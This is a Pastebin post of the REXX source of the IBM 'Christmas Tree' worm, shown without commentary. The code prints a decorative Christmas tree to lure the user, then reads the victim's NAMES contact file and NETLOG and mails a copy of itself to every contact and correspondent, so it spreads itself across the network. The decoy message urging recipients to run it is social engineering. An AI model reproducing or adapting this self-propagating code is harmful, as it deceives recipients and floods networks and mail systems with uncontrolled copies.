FlyFar

IBM.XMasTreeWorm - Source Code

Jun 13th, 2023 (edited)
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Rexx 2.52 KB | Cybersecurity | 0 0
  1. /*********************/
  2. /*    LET THIS EXEC  */
  3. /*           */
  4. /*    RUN        */
  5. /*           */
  6. /*    AND        */
  7. /*           */
  8. /*   ENJOY       */
  9. /*           */
  10. /*     YOURSELF!     */
  11. /*********************/
  12. 'VMFCLEAR'
  13. SAY '                *               '
  14. SAY '                *               '
  15. SAY '               ***              '
  16. SAY '              *****             '
  17. SAY '             *******            '
  18. SAY '            *********           '
  19. SAY '          *************                A'
  20. SAY '             *******            '
  21. SAY '           ***********                VERY'
  22. SAY '         ***************        '
  23. SAY '       *******************            HAPPY'
  24. SAY '           ***********          '
  25. SAY '         ***************            CHRISTMAS'
  26. SAY '       *******************      '
  27. SAY '     ***********************         AND MY'
  28. SAY '         ***************        '
  29. SAY '       *******************         BEST WISHES'
  30. SAY '     ***********************    '
  31. SAY '   ***************************     FOR THE NEXT'
  32. SAY '             ******             '
  33. SAY '             ******                    YEAR'
  34. SAY '             ******               '
  35. /*     browsing this file is no fun at all
  36.        just type CHRISTMAS from cms */
  37. dropbuf
  38. makebuf
  39. "q t (stack"
  40.   pull d1 d2 d3 d4 d5 dat
  41.   pull zeile
  42.   jeah = substr(dat,7,2)
  43.   tack = substr(dat,4,2)
  44.   mohn = substr(dat,1,2)
  45. if jeah <= 88 then do
  46. if mohn <2 ] mohn = 12 then do
  47. DROPBUF
  48. MAKEBUF
  49. "IDENTIFY ( FIFO"
  50. PULL WER VON WO IST REST
  51. DROPBUF
  52. MAKEBUF
  53. "EXECIO * DISKR " WER " NAMES A (FIFO"
  54.  DO WHILE QUEUED() > 0
  55.     PULL NICK NAME ORT
  56.     NAM = INDEX(NAME,'.')+1
  57.     IF NAM > 0 THEN DO
  58.        NAME = SUBSTR(NAME,NAM)
  59.     END
  60.     NAM = INDEX(ORT,'.')+1
  61.     IF NAM > 0 THEN DO
  62.        ORT  = SUBSTR(ORT,NAM)
  63.     END
  64.     IF LENGTH(NAME)>0 THEN DO
  65.        IF LENGTH(ORT) = 0 THEN DO
  66.       ORT = WO
  67.        END
  68.        if name ^= "RELAY" then do
  69.        "SF CHRISTMAS EXEC A " NAME " AT " ORT " (ack"
  70.        end
  71.     END
  72.  END
  73. DROPBUF
  74. MAKEBUF
  75. ANZ = 1
  76. "EXECIO * DISKR " WER " NETLOG A (FIFO"
  77.  DO WHILE QUEUED() > 0
  78.     PULL KIND FN FT FM ACT FROM ID AT NODE REST
  79.     IF ACT = 'SENT'  THEN DO
  80.        IF ANZ = 1 THEN DO
  81.      OK.ANZ = ID
  82.        END
  83.        IF ANZ > 1 THEN DO
  84.      OK.ANZ = ID
  85.      NIXIS = 0
  86.      DO I = 1 TO ANZ-1
  87.         IF OK.I = ID THEN DO
  88.            NIXIS = 1
  89.         END
  90.      END
  91.        END
  92.        ANZ = ANZ + 1
  93.        IF NIXIS = 0 THEN DO
  94.        "SF CHRISTMAS EXEC A " ID " AT " NODE " (ack"
  95.        END
  96.     END
  97.  END
  98. DROPBUF
  99. END
  100. end
  101. end
  102. 
Add Comment
Please, Sign In to add comment